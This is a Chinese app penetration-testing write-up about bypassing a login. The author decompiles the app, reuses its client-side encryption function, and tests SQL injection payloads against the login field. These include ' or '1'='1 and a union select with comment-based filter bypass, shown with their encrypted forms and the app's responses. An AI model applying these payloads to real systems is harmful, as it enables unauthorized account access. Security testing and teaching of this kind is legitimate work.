App渗透 - 人脸识别登录绕过打开APP是一个登录框
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抓包后发现参数被加密了
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使用Jadx脱源码发现，并没有加壳也没有混淆，运气很好
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根据经验，先搜索Encrypt、Decrypt等关键字，发现在Common.js中有一个encryptData函数
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定位过去，一套加解密算法都写好了放在这
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放到浏览器console里面调试，果然没错
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首先测试了一下注入
明文：{"userName":"TEST'","password":"123456","osType":"Android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}密文：QSXBDUSV0QpJkd5tWYR90SshkWzZFVipkWUNFcK1GZzpkeZVjWWJ2asJDZwxWRl5kUrRVMFtWZOBHWTVUMr1kWSZFV4tmRSBFbyIWcsV0YXRGbZdHcwEVTsd0T0J1RjFWNXNlMrBTUhZlbSRnTXF2SOVEVwZEbSBFczEWVxAjVLxmMUBHZzYVY0d1TYp0VhNDbXNFNsVVYQx2VWhkTX50U41WW3JVbNlmTuNFR4VVYSJVVUFDbGJlTWhVUxFTVhZHcXNVMspnVoBnbTlFcxY1QoBTWvBHMR1EbXJVc4VUZw0EbUBXOtFmSWh1TYZUbltEasdFW1ATTpxmMkBHbwE2cKpWW1okVilGatNFc5UVYWRGMZFTSW1kaa52UEhXVhplUsR1dwsWYOhGWTBXOVFmUxITWyI1VNpGcuJFSOdVYzw2VTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回异常
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明文：{"userName":"TEST''","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}密文：JdFMQJVRDlmQ2l3ahJlWXFmaox2VxAXVhBFbH5UeJd0YPVjMZNHcsJmSOh1UUFzalJlUxQ1MxsWZOxGWRFXNr1kRSxGV5NWbhpkWUNFVGdkY4NmVZBHZYFmSa52VZZUbNtEbyQFcGZlYphWbTVHbWF2Msd1UWhWbl5kVUJVcaZVY2B3VTpnWxIVYahVT0xGMjpkTWRFc50WYKhXbRllVXZVMjZVW1xmeSlGbyQGcsVUTCB3RUlXRrFWTkh1Uxx2aOpEbtllM41WTqxmbWRnWxQ2QoZ1VwRGWhpEaI5EVxUFZWB3VTJzaVFWaahkY510VldVMtZlNsRlYK5EWTREcGNWNwITWyZleWpFbyIWcsVkYDhmVaZVNw0UasJDZwx2aNZlUrRlNsVkVOxmMiFHbwE2SOpWWZVDMNpGatFVdsBzYKxmbTVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回正常
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明文：{"userName":"TEST'or'1'='1","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}密文：k0VwAlUFNUaCZXerFWRspFcOd0VhZlbTBXOVFGMJpWW3VzaipGetdVdsBzYK5kVUZjRGZFUkhFV2ETVlJEctRVeVVkVPpkeaFHbr5kSOZVWzZkeWhGbyQGcstGZhhmVZl3bVFGUsdVV0p0RhtUNXdFckhVYKZlRhZTMV5kRw1mVwlTbhpkTuZFSwxGZ4BzVTpHbwUlTsJjYxxWRiNEaWplVWpnVoVzVPhkSXF2Msd1U3V0ah1kSUFVc4BDZKB3VTJzaVFWaahkY510VldVMtZ1MKV0VaxmMkBHbFVGMNZFVxYFbhpkWUNFcK1GZzpkeZVjWWJ2Vwh1T0xGMjpkTrd1dsRlYqR3VOhFbWFmdwd1UzpURXxmVsRleJdVYzw2VTlXVGJ1Twh1UVFTVhZHcXNlcwBTTphGbUpXTHF2Q1c1U6xWVltEb6lFVxsmYK5kaZVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回正常
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至此已经可以判断该登录点就是一个注入了，可是返回结果始终都是“用户名或密码错”即使用了' or '1'='1
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根据返回结果推测，后端的登录处的逻辑代码可能是这样的
userInfo = 'select * from userinfo where username = <userName>';userPass = userInfo.password;if (userPass == <passWord>){return 'Login success';}else{return 'Login failed';}通过Union注入构造万能密码，是可以造成任意用户登陆的，测试过程如下先使用order by测试，得知字段的数量为9个，构造payload
# 由于目标服务器带有过滤，所以这里简单的bypass一下明文：{"userName":"TEST'union/**/select/**/null,null,null,null,null,null,null,null,null from dual-- ","passWord":"123456","osType":"android","osVersion":"5.1.1","appVersion":"20.06.04","loginType":"1","model":"V1938T","brand":"vivo","imei":"865166023309431","version":"new"}密文：JdFMQJVRDlmQ2l3ahFkaipkTqZFdKdVY2B3VTFDb6ZFaw52UZBHbNtkTFRFcWtWZOJkehVUMrVmTwdFVzwGbh9EaYZVc1UkTKxmMUBHdyYVYShkY0xGMjpEbulVe3dlYrxmMiFHbwEWMjZ1V1AXVipkTYNFRaZkTOJVMURDbGJmSaR1UEp0RiNlSqlFMwBTUNx2VSFHbr5kSOx2Vzg3RTdlVIJWevxGZ0EzVTpHbwE1TkhkTwVDMkBTTVRVNsVVYQx2ROlXSHN2T1ITWzBHbSpGZuJFdsBzYK5kVUFjVrFWTGR1UwlTVhBTSql1d1smYqhXbXhXTtR2SOVEVwZUMWhmWuNVSwZFZHFzVTJzawUVYkhkYJpFblVDMXNlesVVYPZEVVZTMVVmRwd1UysGMRFGbY9UeZxWZPhmVXNDcwEVTsdVUUhXRkJkTrl1baZ0UhR2RNlXSXVWYkV1U6h2MWtmVIVGRKJzYXVTbZpHZzIVaGRlTIhHMjRDZGpVMoNTUp5kbWVnSyM2MktWW4VleS1kTIVGWSdFZ040aZpnWsJWaONDZIp0VNFTSERFe5cVZNJkaUhFcxM2VKpXWykzVhxkWI5UeJd0YxMmRaVnRW1kVatWVzx2aOpkTsdFMaVlYVxmbWlXTX10SshlW结果：App返回成功
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